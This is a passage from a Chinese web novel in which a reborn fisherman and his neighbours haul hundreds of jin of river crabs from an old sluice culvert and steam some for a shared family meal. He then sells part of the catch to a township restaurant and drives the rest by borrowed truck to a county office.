只见赵老头扛着渔网,垂头丧气地从江边回来。 他在老龙口撒了几网,除了几条手指长的小杂鱼,连刀鱼的影子都没见着,正一肚子窝火和懊悔。 没想到刚回村,就撞见王癞头几个欺负江涛的女儿。 赵老头本来心情就不好,此刻见江涛女儿被欺负,更是火冒三丈。 他二话不说,抡起手里空荡荡的渔网,劈头盖脸就朝王癞头几人抽了过去! “哎哟!” 王癞头没防备,被湿漉漉带着腥味的网绳抽在脸上,疼得嗷一嗓子。 “老东西,你找死!” 另一个闲汉骂骂咧咧就要上前。 “来啊!你们几个泼皮,有本事冲我来!看我今天不打断你们的狗腿!欺负人家小姑娘算什么本事?我这就去喊村支书,喊民兵队长,看你们还横不横!” 赵老头虽然年纪大了,但常年在水上讨生活,身体还算硬朗,此刻怒发冲冠,气势逼人。 而且他知道,村里对这些游手好闲,欺负妇孺的泼皮最是痛恨。 王癞头几人被赵老头这不要命的架势镇住了,又听他要去喊村干部,顿时怂了。 他们欺负落单的小孩行,可不敢真跟村里有威望的老辈人动手,更不敢把事情闹大。 王癞头捂着火辣辣的脸,“老赵头,你、你多管闲事!” “我就管了!怎么着?你们再敢碰招娣一下试试!”赵老头瞪着眼,往前逼近一步。 “行,行,你狠!咱们走着瞧!” 王癞头见占不到便宜,又怕真引来麻烦,撂下句狠话,朝同伴使个眼色,三人灰溜溜地跑了。 “招娣,没事吧?吓着没有?” 赵老头赶紧蹲下身,关切地看着江招娣。 “赵爷爷,我没事,谢谢您!” 江招娣惊魂稍定,大眼睛里还噙着泪花,但强忍着没掉下来。 “没事就好,没事就好。这帮杀千刀的!” 赵老头心疼地摸了摸她的头,“你跑这么急,是不是你爸那边有事?” “嗯!” 江招娣用力点头,也顾不上哭了,“爸爸和铁牛叔在老水闸涵洞里捞到好多好多大螃蟹!桶都装不下了,让我赶紧回家拿麻袋!” “什么?螃蟹?还很多?” 赵老头一听,眼睛都瞪大了。 他想起早上自己信誓旦旦说老龙口有鱼,结果空手而归,而江涛执意要去,被他嗤之以鼻的老涵洞,竟然真有这么多螃蟹! 这脸打得……火辣辣的疼! “快!招娣,你先跑回去告诉你妈准备麻袋!我也去涵洞帮忙!” 赵老头心里五味杂陈。 “哎!谢谢赵爷爷!” 江招娣应了一声,撒腿就往家跑,这次再没人敢拦她了。 赵老头也转身,大步流星地朝村西废弃老闸跑去。 江涛这小子,那感觉还真他妈准! 以后,他说啥,自己就干啥,再也不犟了! 第53章 螃蟹山 赵老头气喘吁吁赶到废弃水闸。 刚到涵洞口,就听见里面传来“哗啦哗啦”撩水声,以及“咔哒咔哒”蟹钳碰撞声。 天呐,这什么动静! 他心下一惊,拨开洞口的芦苇和水草,弯腰钻了进去。 里面光线昏暗,但并不妨碍赵老头看清眼前景象。 只一瞬间,他整个人便僵在当场,手里的渔网也“啪嗒”一声掉在地上。 江涛和铁牛两人手中抄网一起一落,将一只只张牙舞爪的大河蟹抄到岸上的渔网里。 渔网用四个水桶撑起来,已经鼓鼓囊囊,里面堆起一座簌簌蠕动的螃蟹山! 粗略看去,少说得有几百斤! 再看水里,数不清的黑影慌慌张张地爬动,挥舞着大钳,仿佛捅翻了螃蟹的龙宫! “我的老天爷……” 赵老头声音发颤。 早上他还信誓旦旦,说这破地方鸟不拉屎,绝不可能有货。 眼下这场景,让他脸上火辣辣的。 “赵叔,您来了?” 江涛听到动静,回头看了一眼,手上动作不停,又飞快地捞起两只要往深水逃窜的大螃蟹。 “涛、涛子……这、这些都是你们刚捞的?” 赵老头指着岸边的螃蟹山,舌头都有些打结。 “是啊,赵叔,这才捞了不到一半呢!桶装不下了,让招娣回去拿麻袋了。” 铁牛满脸是汗,那股兴奋劲儿怎么也藏不住。 不到一半?! 赵老头感觉自己这辈子算是白活了。 好歹打了一辈子鱼,可在老拗口毛都没捞着一根。 想起老婆子的数落,他脸上火辣辣的,心里是震惊、懊悔,又透着一股说不出的服气。 “赵叔,别愣着啊,快来搭把手!” 江涛招呼道,“这还有的是,不抓紧捞,等会儿都跑散了!” “哎!好,好!” 赵老头如梦初醒,赶紧捡起掉在地上的渔网。 可渔网又不是抄网,哪顶什么用,他干脆直接上手去抓那些趴在浅水石头上的螃蟹。 手刚碰到蟹背,那螃蟹猛地一挣,大钳子差点夹住他,吓得他“哎哟”一声缩回手。 “赵叔,小心点,从后面抓,别让钳子对着你!” 江涛提醒道,又捞起一网,足足有四只,个头一个比一个大。 赵老头定了定神,瞅准一只螃蟹的后背,迅速出手,一把捏住稳稳提了起来。 “哈哈,看你还跑不跑?” 赵老头脸上绽开了花。 这只大家伙少说也有六两! 这要拿回去用黄酒、生姜一蒸,那滋味……啧啧! “爸爸!爸爸!麻袋来了!” 就在这时,洞口传来江招娣清脆的喊声。 只见她带着老二江盼娣和老三江来娣,一人抱着两个大麻袋,费力地钻了进来。 后面跟着闻讯赶来的林月柔,也抱着两个大麻袋。 “我的天……” 林月柔一进涵洞,看到渔网里堆积如山的螃蟹,以及水里密密麻麻还在爬动的黑影,惊得倒吸一口凉气,话都说不出来了。 “月柔,你来了,家里几个小的怎么办?” 江涛停下手里的活,担心地问。 林月柔平复了一下呼吸,“赵婶帮忙看着呢,她说她帮忙做午饭,等我们回去一起吃。” “哦,那行吧,” 江涛放下心来,“快把渔网这些螃蟹先装进麻袋,小心点,别被夹了手。” “哎,好!” 林月柔赶紧放下麻袋,打开一个袋口,小心翼翼地用抄子往里面放螃蟹。 “二妹,三妹,咱们用木板将这些螃蟹赶到麻袋里。” 江招娣很聪明,看到地上有废弃小木板,立刻拿起来分配任务。 三个小丫头立刻行动起来,兴奋又有点害怕地用木板将螃蟹往麻袋口赶。 因为动作生疏,偶尔会有逃兵溜走。 不过,这样却能保证她们不被螃蟹夹到手。 而江来娣胆子比较大,那几个逃兵又被她徒手捉回来。 三人可谓是配合默契。 “小丫头聪明。” 赵老头在旁看了眼热,“我也来帮忙装袋吧。” 说着,也拿起一个麻袋和木板,加入了装蟹大军。 反正他也没趁手的抄网,徒手抓也抓不到几个,还容易被夹到手,不如帮忙打包。 一时间,涵洞热闹起来。 江涛、铁牛负责继续用抄网捞,赵老头、林月柔和几个丫头负责将渔网堆积的螃蟹装袋。 螃蟹们被装进麻袋,犹自不甘心,在里面“咔哒咔哒”地碰撞挣扎,麻袋很快鼓胀起来。 “这……这得有多少啊?” 林月柔一边装,一边忍不住惊叹。 她这辈子都没见过这么多螃蟹,而且个个这么大! “至少得有五六百斤!” 赵老头一边捞,一边估算着,语气里充满了不可思议。 装了整整六大麻袋,渔网里的螃蟹山才消失不少。 而水里的螃蟹,被这大扫荡惊扰,大部分逃回更深更隐蔽的石缝,只剩下零星几只还在爬动。 “行了,差不多了。” 江涛看着眼前满满收获,心满意足地收了手。 再捞下去,怕是要把涵洞里的螃蟹种都捞绝了,得留点余地。 反正今天的收获已经足够惊人。 几人看着地上六个鼓鼓囊囊的麻袋,都是累得够呛,但脸上全是兴奋和喜悦。 这么多野生大河蟹,拿到乡里,甚至县里,绝对能卖上不少钱! “涛子,这么多,怎么弄回去?” 铁牛有些发愁。 只有一辆自行车,肯定驮不了这么多。 赵老头一拍大腿,“我去借辆板车!村里老张家有,我跟他说一声,给点钱就行!” “行,那就麻烦赵叔了。”江涛点头。 赵老头二话不说,转身就往村里跑。 此刻他对江涛的话是言听计从,让干什么就干什么,早上那点别扭劲早飞到九霄云外了。 趁着赵老头去借车功夫,江涛拿出林月柔准备的发面饼和煮鸡蛋分给大家。 “大家都累了,先垫垫肚子。招娣,盼娣,来娣,你们也吃。” 刚才一阵忙碌,大人孩子都又累又饿。 接过干粮,大口吃了起来。 虽简单,但在这满是收获的喜悦中,却觉得格外美味。 “爸爸爸爸,那几个最大的螃蟹能不能留着自家蒸着吃啊。” 老二江盼娣咬了一口鸡蛋,眼睛却还瞟着渔网里剩下的一些大螃蟹。 前几天,爸爸从江边下地笼捞回的几只螃蟹,蒸出来真好吃啊。 那蟹黄的滋味,她到现在还记得。 “就你知道好吃!” 江招娣拿出大姐的派头,“这些留着要卖钱的,卖了钱才能买更多好东西。” “卖钱回来不还是要买肉买菜嘛……” 江盼娣小声嘀咕,觉得逻辑上好像没毛病。 “好了,两个小丫头别争了。” 江涛笑着打断她们,“回家咱们挑一些最大的留着自己吃,解解馋。剩下的都卖掉。” 反正螃蟹离水一时半会儿也死不了,自家捞的,当然得尝尝这最顶级的时鲜。 第54章 绝了! 几人正啃着发面饼,赵老头推着一辆吱呀作响的旧板车回来了。 江涛和铁牛赶紧将六个沉重的麻袋搬上车,又把渔网里剩下的螃蟹用绳子捆了捆,码在最上面。 赵老头执意他来推车。 早上让他来他不来,后来来了也没出什么大力,现在还不表现表现,以后怎么指望涛子带他一起打渔呢? 一行人推着满载的板车回到家。 赵老太早已等在门口张望,看到板车上六个鼓鼓囊囊的麻袋,以及最上面那捆张牙舞爪的大家伙,惊得嘴巴半天没合拢。 “我的老天爷!这么多螃蟹!这、这都是你们捞的?” “是啊赵婶,多亏您帮忙看孩子,月柔才能来帮忙。” 江涛笑道,顺手拎下最上面那捆螃蟹,挑出一些活力十足的,“这些咱们中午蒸了自己吃,解解馋。” “哎哟,这、这怎么好意思,我也没干啥……” 赵老太嘴上客气,眼睛却盯着那些个顶个大的螃蟹,直咽口水。 她帮着做饭,也就炒了个青菜,前面的活月柔都做得差不多了。 要不是江招娣回来喊人,月柔也不用临时离开,也就没她这帮忙的机会了。 没想到江涛这么大方,直接要蒸这么多大家伙。 “都是自己人,客气啥。赵婶,您忙活一上午了,中午就留这儿吃,铁牛,去把你娘也叫来。” “哎!” 铁牛应了一声,转身就往家跑,这次没半点忸怩。 “爸爸爸爸,吃螃蟹,吃大螃蟹!” 几个丫头围着那堆待蒸的螃蟹,叽叽喳喳,兴奋得小脸通红。 “别着急,蒸熟了才好吃,还得等一会儿。”江涛笑着安抚。 赵老头和赵老太自然也都留下吃饭。 大圆桌,八仙桌都摆上了红烧肉、红烧鱼、炒青菜、家常豆腐,还有一盆蛋花汤。 这伙食,赶上过年了! 赵老太看着心里直咂舌。 前几天,颜卫国在的时候,赵老头就回来说江涛家吃得如何如何好,搞得她心里都有点不是滋味。 现在好了,自己也能跟着享享这口福了。 再看江涛家,崭新的桌椅板凳,大圆桌、八仙桌,靠墙还摆着个带锁的新橱柜,堂屋地上铺的红砖也干净利落。 这小子真是牛掰了。 这才几天功夫,家里就大变样了。 有这么多外人在,江涛家里那一堆丫头片子,竟然也都安排上了座位,围着八仙桌坐得满满当当。 这在以前,丫头是上不了桌的。 “大家别客气,先吃,我去蒸螃蟹,一会儿就好。” 江涛招呼众人动筷子,自己则拎着那几十只大螃蟹往灶间走。 “爸爸,我来帮你!”江招娣立刻跳下凳子跟了过去。 “我也要帮忙!” 江盼娣难得主动要求干活,她可惦记着蒸螃蟹呢。 林月柔也笑着起身,“你们爷仨得弄到什么时候,我也来搭把手。” “这哪能光看着你们忙活,我来帮忙刷螃蟹!” 赵老太也坐不住了,挽起袖子就跟着进了灶间。 这螃蟹看着就喜人,能参与处理也算没白吃。 铁牛娘这时也来了,一看这架势,放下手里带来的咸鸭蛋,也赶紧过去帮忙。 人多就是快,几十个大螃蟹很快被刷洗得干干净净。 江涛在锅里放上水,水里特意扔了几片姜和几滴黄酒去腥。 蒸屉上铺了层洗净的紫苏叶,然后将螃蟹肚皮朝上,一只只整齐地码放上去。 每只螃蟹肚子上都放上一小片姜,淋上点黄酒,最后在蟹壳上又洒了几粒花椒。 盖上锅盖,大火开蒸。 趁这个空档,江涛又转身去调蘸料。 他拿了个小碗,舀入姜末、香醋,又点了少许生抽和几滴香油,搅匀后尝了尝,酸甜适口,正好解腻。 “涛子,你这蒸螃蟹,水里放了生姜黄酒,肚子上又放,还撒花椒,真讲究!” 赵老头也溜达到灶间看着,嘴里啧啧有声。 以前他蒸螃蟹,就是清水一煮,哪这么多花样。 “放点姜和酒能去腥增香,撒点花椒能提点麻香,蒸出来蟹肉更鲜甜,还不容易有土腥味。紫苏叶也能去寒提鲜。” 江涛解释着,这是他从上辈子后来学来的小窍门。 不一会儿,浓郁的蟹鲜味混合着紫苏和黄酒的清香,就从锅盖缝隙丝丝缕缕地飘出来,勾得人口水直流。 江盼娣早已守在灶边,眼睛一眨不眨地盯着蒸锅,就等着揭盖的那一刻。 “时间到,起锅!” 江涛算准了时间,掀开锅盖。 一股更加霸道的鲜香热气扑面而来! 只见蒸屉上,几十只大螃蟹早已变得通红,在紫苏叶的映衬下显得格外诱人。 蟹壳油亮,蟹爪蜷曲,看着就让人食指大动。 “来来来,端上桌,趁热吃!” 江涛用将螃蟹放到两个大盘里,招呼着众人。 两大盘红通通的蒸螃蟹端上桌,大圆桌和八仙桌一桌一盘,瞬间成了全场的焦点。 那股独特的鲜香几乎盖过了其他所有菜肴的味道。 “来来,都别客气,趁热吃!” 大圆桌上,江涛率先拿起一只最大最肥的,肚皮朝上,轻轻掀开蟹壳。 金黄油亮的蟹黄满满当当,几乎要溢出来。 “嚯!这黄,真肥!” 赵老头眼睛都亮了,顾不得烫,也跟着拿起一只。 铁牛憨憨地笑着,有些无从下手。 江招娣在一旁小声地教他,“铁牛叔,把蟹壳打开,先吃蟹黄,用筷子挖……” “哎呀,没想到螃蟹能长这么大啊。” 赵老太动作熟练些,看到这样顶盖肥的大螃蟹,一脸满足地掀壳剔肉。 八仙桌上,江盼娣早就等不及了。 有了上次吃小螃蟹的经验,她手起壳落,动作麻利,吃得那叫一个香,眼睛幸福地眯成了月牙。 吃完一个,她意犹未尽地咂咂嘴,还想再要。 可八仙桌这盘是按人头分好的,每人一个,她想再拿也没办法。 其他几个丫头年纪小,但也不傻,都守着自己的那份,生怕被别人觊觎。 气得江盼娣小嘴嘟得老高,眼光不自觉地瞄向大圆桌。 哼,大姐和老八都在那桌,凭什么她不能去? “嗯!好吃!真鲜!一点腥味都没有,还带着点说不出的香气!” 赵老头一口蟹黄下去,眯着眼睛细细品味,满脸陶醉。 他打了一辈子鱼,也吃过不少螃蟹,可像今天这样肥美,味道层次丰富的,真是头一回。 “涛子,你这蒸螃蟹的法子,绝了!比我以前随便煮的好吃太多了!这姜和黄酒的味道,还有这叶子,真是绝配!” 赵老头赞不绝口。 “这螃蟹本身就好,肉厚黄满。” 江涛笑着,又掰下一只蟹腿,用筷子尖轻轻一捅,一整条雪白紧实的蟹腿肉就出来了,蘸了点姜醋汁送入口中,鲜甜弹牙,满足感油然而生。 铁牛学得很快,很快就掌握了吃蟹的技巧,吃得满嘴流油,憨厚的脸上全是满足。 “好吃,真好吃!涛子,跟着你,不光能挣钱,还能吃上这么好的!” “就是,这日子,以前想都不敢想。” 铁牛娘也感慨,小心地剔着蟹肉,眼里是说不出的欣慰。 林月柔一边自己吃,一边照顾着老八,帮她剥壳剔肉。 品尝着这难得的美味,看着丈夫和孩子们满足的笑脸,心里比吃了蜜还甜。 “爸爸,我还想要吃一个。” 江盼娣终于按捺不住,跑到大圆桌边,眼巴巴盯着盘子里剩下的几只大螃蟹。 江招娣看见她这副样子就来气,可有什么办法呢?会哭会闹的孩子有糖吃。 爸爸似乎对二妹格外宽容些。 “来,这个给你。” 江涛看穿了二女儿的小心思,笑着从盘子里拿起一只递给她,“慢点吃,小心壳。” “谢谢爸爸!” 江盼娣立刻眉开眼笑,抱着螃蟹跑回八仙桌,得意地朝姐姐妹妹们扬了扬下巴。 第55章 怎么办 一顿饭吃得宾主尽欢,桌上螃蟹壳堆成了小山。 众人摸着圆滚滚的肚皮,砸吧砸吧嘴,都觉得有些意犹未尽。 赵老头剔着牙感慨,“以前都说穷人吃蟹,富人吃肉。螃蟹这玩意儿,在咱们江边,有时候多得爬上岸,穷人没饭吃才去捡来充饥,肉少还费事。” “后来不知道怎么的,慢慢就金贵起来了,上了正经饭桌,价钱都赶上猪肉了。” “可像今天吃得这么过瘾,味道这么好的,真是头一遭!这跟以前胡乱煮煮的,完全是两码事!” “是啊,” 铁牛娘接过话头,“以前偶尔捞到几只小的,清汤寡水一煮,总觉得有点土腥气,肉也柴。哪像今天这螃蟹又肥又鲜,那蟹黄,啧啧,比鸡蛋黄还香!” “好吃,是真好吃啊。”铁牛也憨憨点头附和。 林月柔一边收拾着桌上的蟹壳,一边抿嘴笑。 今天螃蟹格外鲜美,除了螃蟹本身肥美,主要靠丈夫蒸制时用了心。 姜、酒、紫苏和花椒,去腥提鲜,把螃蟹本身的甘甜恰到好处地激发了出来。 “主要还是螃蟹好,个大肉满。” 江涛笑道,心里也认同赵老头的话。 后世,大闸蟹动辄几十上百甚至上千一斤,被视为高端食材。 可在这个年代,很多老一辈人眼里,螃蟹还没完全摆脱穷人乐的印象,算不上什么上台面的东西。 价格虽有上涨,却远未到离谱的程度。 今天这顿,算是让大家,包括他自己,重新认识了这江中鲜物的极致魅力。 “涛子,剩下的螃蟹,你打算怎么处理?” 赵老头更关心实际的问题,“这么多,自家肯定吃不完,放久了也要死……” “我下午就去乡里,看看东风饭店收不收。如果收不完,再问问别的路子。”江涛早有打算。 这么多活蟹,留一些自家吃的,其他必须尽快出手。 毕竟,家里可没这么大地方和水池养着。 “对对,得赶紧卖!” 赵老头连连点头,“我跟你一起去,也好搭把手。这么多螃蟹,你一个人弄不过来的。” “那敢情好,谢谢赵叔。”江涛正需要帮手。 铁牛也立刻表态,“涛子,我也去!” “行,那咱们收拾收拾,这就出发。” 说干就干。 江涛、赵老头、铁牛三人立刻动手,准备将板车上的麻袋用绳子固定好。 江盼娣却不干了,噔噔噔跑过来,扯着江涛的衣角。 “爸爸爸爸,不留一点在家吃吗?” 中午螃蟹她一人吃了三个,可还是觉得不过瘾,那鲜甜的滋味在嘴里打转。 江招娣在旁看了牙痒痒,“二妹,你中午吃得最多,怎么还要?这些是要卖钱的!” “我又没跟你说话!” 江盼娣冲大姐做了个鬼脸,转头又可怜巴巴地看着江涛。 “爸爸,就再留一点点嘛,妹妹们都没吃过瘾呢。反正这么多,卖少一点也没关系嘛。” “你……” 江招娣气得跺脚,觉得这个二妹太不懂事了,只知道吃。 江涛看着她俩斗嘴,又好气又好笑。 “行行行,别争了,再留半麻袋吧,晚上再蒸。” 他也不挑大小了,随手从一个麻袋里分出大约半袋。 反正个头都差不多,当时捞的时候小的都没要。 他让铁牛将这半袋螃蟹倒进家里的大水缸里,加点水先养着。 江盼娣这才眉开眼笑,满意了。 “招娣,你也别气了,晚上也有你的份。”江涛安抚大女儿。 江招娣小声嘟囔,“我才不像她那么馋,再说那渔网里不还有一些吗?老二就是无理取闹!” 她心里有些委屈,觉得爸爸太偏心了。 “好了,招娣,盼娣也就想吃几个螃蟹,没做什么离谱的事。” 江涛摸摸她的头,心里也有些不是滋味。 林月柔和几个丫头被他养得小心翼翼惯了。 现在吃点好的都仿佛带着负罪感,生怕奢侈了。 还好有老二这个馋嘴的,还能带动一下家里的享乐氛围。 要不,这日子过得太紧绷,也没什么意思。 一切收拾停当。 林月柔给他们装了水壶,又塞了几个发面饼。 “路上小心,早点回来。” “知道了,在家把孩子看好。” 这回板车铁牛抢着推。 赵老头也没跟他争。 刚才从废弃水闸推回来,差点没把他这把老骨头累散架。 铁牛年轻力壮,推着沉甸甸的板车走在中间,江涛和赵老头一左一右扶着,三人朝着乡里出发了。 “涛子,这么多螃蟹,估摸着能卖个什么价钱?” 赵老头边走边问。 还好螃蟹不像鱼那样容易死,要不然这么多死了可就亏大了。 “不知道啊。” 江涛嘴上应着,但心里也在飞快估算。 现在螃蟹虽还没到天价,但也跟猪肉差不多价钱。 好的能卖到一块多一斤。 这一板车五六麻袋,少说也有四五百斤,怎么着也能卖个五六百块吧。 只是东风饭店一下子能收这么多吗? 这玩意儿可不好保存。 唉,也不知蒋管事胃口多大,能出什么价。 这么多螃蟹,短时间内要找到大买家,死了就不值钱了。 江涛心里惆怅。 这还是第一次因为货太多而发愁。 主要也是没有合适的交通工具。 要是颜伯伯的吉普车在,或者自己有辆小货车,再多也不怕啊。 送到县里,上次高主任和刘主任可是放出话来“千儿八百斤也吃得下”的。 现在就只能用板车慢悠悠推到乡里,先看看东风饭店的胃口再说了。 不是有句话说得好。 车到山前必有路,船到桥头自然直嘛。 三人推着沉甸甸的板车,满头大汗赶到东风饭店后厨小院时,已经是下午两点多了。 江涛上前敲门,出来的照例是顾师傅。 他不着痕迹地塞过去五块钱。 “顾师傅,又来麻烦您了。” 顾师傅心里一惊,这可比往常一块两块多太多了! 他想推辞,但看江涛眼神诚恳,旁边又有赵老头和铁牛在,便没再客气,笑着收下。 铁牛憨憨的,什么也不没注意。 可赵老头眼睛却很尖,心里起了波浪。 原来涛子这小子跟东风饭店搭上关系了啊。 难怪以往打的那些稀罕鱼获,那么快就能出手呢。 要知道,零卖可没这么快,有时也不一定能卖不上什么好价。 这小子,不光能打渔,人情世故上也有一手! 赵老头对江涛的评价,无形中又拔高了一层。 “涛子,你们快进来。” ”顾师傅将几人引进院子,自己则快步朝里面走去喊蒋管事了。 蒋管事出来,一见板车上那几大麻袋,就来了精神。 他让伙计解开一个袋子查看,看到里面一只只活力十足,个头硕大的青壳河蟹,眼睛顿时亮了。 “涛子,你这螃蟹可以啊!个顶个的大,看着就肥!是今天刚捞的?” “是,蒋管事。绝对新鲜,您看这钳子,劲儿大着呢。” 江涛捡起一只挥舞着大钳的螃蟹展示。 “嗯,不错!” 蒋管事满意地点头,略一沉吟,“这品相,我给一块八一斤,怎么样?” 一块八! 这价格比江涛预想的还要高一点。 赵老头和铁牛听了,脸上也露出喜色。 这价可比猪肉贵了! “行,就按您说的价。”江涛爽快答应。 “过秤吧!”蒋管事招呼伙计。 过完秤,总共是五百三十六斤。 赵老头心算,五百三十六乘以一块八,是九百六十四块八。 这价可不低! 难怪江涛这小子短短几天就置办这个置办那个,敢情他每天这么挣钱呐。 可怜自己打渔多少年了,还经常空军,以后一定要紧跟涛子。 “蒋管事,这么多你都收下吗?”江涛心里忐忑。 蒋管事皱起了眉头,“涛子,这量有点太大了。我们饭店虽然用蟹,但一时半会儿也用不了这么多。螃蟹这东西娇贵,离水时间长了活力下降,死了可就一文不值了。我最多能要一百五十斤,剩下的……你们得自己想办法。要不,你们去水产公司问问?” 一听这话,刚才的喜悦顿时冲淡了大半。 赵老头急了,“蒋管事,一百五十斤也太少了!这剩下的三百多斤可怎么办?水产公司那帮人,给价可不会这么公道,而且他们也得有销路才行啊。” 铁牛也愁眉苦脸,“是啊,这可咋办……” 第56章 什么都会 江涛心里也是一沉。 来之前还想着车到山前必有路,现在路是有了,可这车太大了,人家店小消化不了。 唉,零卖又不现实。 毕竟,这年代螃蟹还没被炒作成高端礼品,普通人家谁舍得花这价钱买这麻烦东西吃? 至于批发给水产公司,等着被压价是肯定的,而且他们转手也得找下家,耽误了时间螃蟹死了更亏。 一时间,三人都有些发愁。 铁牛看着堆成小山的麻袋,忍不住嘟哝,“要是咱们有辆车就好了,直接拉到县里去,上次那些单位不是说有多少要多少吗?路是远了点,可总比烂在手里强。” 这话恰好被蒋管事听到了。 他眼珠子一转,想起江涛跟县里有些关系,所以上次卖刀鱼就很痛快。 “车嘛……” 他沉吟一下,“我们饭店倒是有辆小卡车,平时拉货用的。今天正好没出车。你们要是真急着去县里,车可以借给你们用一下,明天早上之前还回来就行。不过,油得你们自己加满。怎么样?” 借车? 赵老头和铁牛先是一喜,随即又垮了脸。 赵老头苦笑道:“蒋管事,您这好意我们心领了,可……我们都不会开那铁疙瘩啊!您饭店的司机……” 蒋管事摆摆手,“司机今天家里有事请假了,不然车早出去了。我就是看你们急,才提这么一嘴。既然不会开,那就算了。” 赵老头和铁牛垂头丧气。 得,这最后一条路也断了。 江涛却突然开口问道:“蒋管事,是那辆停在院子角落的蓝色小卡车吗?跃进牌?” “对,就是那辆。怎么,涛子,你会开?”蒋管事有些惊讶地看着他。 这年头,会开车的可不多,尤其是乡下小伙子。 江涛上辈子跟人跑过运输,开过这种老式卡车。 虽然不算特别熟,但开慢点应该没问题。 他点了点头,“会一点,能开走。” “真的?涛子,你啥时候学的开车?” 赵老头和铁牛都震惊地看着他,像看怪物一样。 这小子,怎么什么都会? “以前在外面瞎混的时候,跟人摸过两下。” 江涛含糊地解释,转向蒋管事,“蒋管事,车我真能开。您看,借给我们用一下,行吗?油我们肯定加满,保证明天一早原样还回来。” 蒋管事打量了江涛几眼,见他不像是吹牛,又想到他最近办事还算靠谱,跟县里似乎也有点门路,便点了点头。 “行,看你也是个办事的人。车钥匙在值班室,我去拿。不过丑话说前头,车要是磕了碰了,或者有什么问题,可得照价赔偿。油表我记下了,回来得加到这个数。” “您放心,规矩我懂,一定完好无损地还回来。”江涛郑重保证。 很快,蒋管事拿来了钥匙。 江涛接过钥匙,深吸一口气。 能不能把这批螃蟹卖出好价钱,就看这趟县里之行了。 东风饭店只收一百五十斤,其实也不少了,谁让江涛这次搞了五百多斤呢。 也多亏江盼娣闹着要吃,留下了半麻袋,否则妥妥的六百斤是有的。 蒋管事将两百七十块结算给江涛。 “赵叔,铁牛,你们帮忙将剩下的麻袋搬到车里。” 江涛接过钱,趁没人注意,拿出一张大团结塞回给蒋管事。 蒋管事心照不宣。 这小子不光能捞货,做事更是滴水不漏,让人舒服。 他拍拍江涛肩膀,“行,路上小心,车看好了。” “您放心!” 麻袋很快被搬上小卡车车厢。 江涛查看油表,还有一大半,去县里一来一回足够了。 到时到了县里,将油箱加满就成。 他上了驾驶室,铁牛和赵老头也挤上了副驾驶座位。 江涛深吸一口气,小心拧开钥匙,踩下离合器,回忆着久远的手感,轻轻一拧。 “轰……” 引擎发出一阵低沉的轰鸣,抖动了几下,稳稳地启动了。 成了! 江涛心里一松,挂上一档,慢慢松开离合,小卡车便缓缓地驶出了小院。 蒋管事看着卡车慢悠悠地开走,眉头微蹙,心里还是有些没底,忍不住对旁边的顾师傅嘀咕:“老顾,这小子……真能行吗?可别把我的车给开沟里去了。” 顾师傅倒挺淡定,“蒋管事,您放宽心。涛子这孩子,看着年纪不大,办事却出奇地稳当。您看他每次来,礼数都周到。我看他不像说大话的人。再说了,他既然敢开,肯定有点把握。咱们就等好消息吧。” 蒋管事点点头,但愿如此吧。 路上,江涛起初开得小心翼翼,速度很慢,时不时还熄火一次,得重新打火起步。 毕竟,上辈子开车都是自动挡,手动挡都很久没摸了。 这辈子更是第一次摸方向盘,手和脚对离合、油门、刹车的配合,都需要重新适应。 副驾驶室,铁牛和赵老头紧张得大气不敢出,死死抓着车门上方的把手,身体僵硬,眼睛瞪得溜圆。 看着江涛略显生疏地换挡、转弯,两人心都快跳到嗓子眼了。 他们之前看江涛说得笃定,心里还信了几分。 可现在看他这磕磕绊绊的样子,心都凉了半截。 以为江涛只是在忽悠蒋管事,其实根本不太会开。 “涛、涛子,要不……咱们还是慢点,不着急,安全第一……”赵老头声音有点发颤。 “是啊涛子,咱、咱不赶时间。”铁牛也瓮声瓮气地附和,脸色有点发白。 江涛没作声,全神贯注感受着车辆的反馈,手脚的动作从最初的生涩,逐渐变得流畅起来。 肌肉记忆被唤醒,那些深藏的本能开始复苏。 也幸亏这个时候路上车不多,加上去县城的省级公道也没什么行人,才给了他适应的机会。 又开了一段路,他感觉完全找到了节奏,手脚配合越来越默契,换挡也平顺了许多。 车速也渐渐提了上来,稳稳地行驶在通往县城的公路上。 “赵叔,铁牛,你们看,我说我能开吧?” 江涛这才放松下来,笑着对旁边两个紧张得快石化的人说道。 铁牛和赵老头这才稍稍放松紧绷的身体,但依旧不敢完全放心,只是含糊地“嗯”了几声,目光还是紧紧盯着前方的路面。 江涛见他们还是紧张,也不再搭话,专心开车。 半个多小时后,县城的轮廓渐渐出现在视野中。 他只认识高主任所在的机关单位,便凭着记忆,将小卡车稳稳地开到了那个大院门口。 第57章 电话 门卫见一辆旧卡车停在门口,驾驶室下来个年轻后生,衣着普通,便上前询问:“同志,你找谁?干什么的?” “师傅,我找高主任。麻烦您通报一下,就说江涛找他。”江涛客气道。 门卫打量了他几眼,又看看那辆破旧的小卡车。 找高主任? 看你这模样也不像领导亲戚,还“就说江涛找他”。 怎么,你的名字很好使呗? 不过,他职责所在,也没说什么,转身进了门房打电话。 电话接通,门卫刚说“门口有个叫江涛的找您……”,本以为高主任会随便派个人出来打发一下。 没想到,电话那头的高主任声音高了八度。 “江涛同志?快请他进来!不,我亲自出来接!” 门卫一愣,以为自己听错了。 还没反应过来,就看见高主任脚步匆匆地从办公楼里小跑着出来,笑容满面地直奔门口。 “哎呀,江涛同志,真是稀客!什么风把你吹来了?” 高主任热情地伸出手,跟江涛用力握了握,态度那叫一个亲热,还亲热地拍了拍江涛的肩膀。 门卫彻底傻眼了。 这……这江涛的名字,还真好使啊? 看来是自己有眼不识泰山了。 “高主任,又来打扰您了。”江涛笑道。 “说什么打扰,我盼着你来还来不及呢!” 高主任说着,指挥门卫打开大门,亲自将江涛的小卡车引进了大院,停在食堂后面的空地上。 江涛跳下车,打开车厢挡板,指着上面几个微微蠕动的麻袋。 “高主任,今天搞了点螃蟹,个头还行,您看收不收?” “螃蟹?” 高主任眼睛一亮,“收!当然收!这可是好东西,好些领导就爱这一口!” “给您看看成色?”江涛说着解开一个麻袋口。 “不错不错,你这螃蟹看着就精神,是刚捞的吧?”高主任凑近看了看。 “是,上午刚捞的,绝对新鲜。”江涛肯定道。 “好!太好了!”高主任立刻招呼食堂的几个伙计过来帮忙卸货。 这时,铁牛和赵老头才颤颤巍巍地从副驾驶座位上挪下来。 这一路,江涛开得是越来越稳,可他们俩的心一直悬在嗓子眼。 尤其是过急转弯的时候,感觉魂都快飞出去了。 此刻,腿还有些发软,扶着车厢板才站稳。 高主任只当他们是坐车累了,也没在意,热情地招呼他们一起到阴凉处歇着。 伙计们很快将几个麻袋搬下来过秤。 总共三百八十六斤。 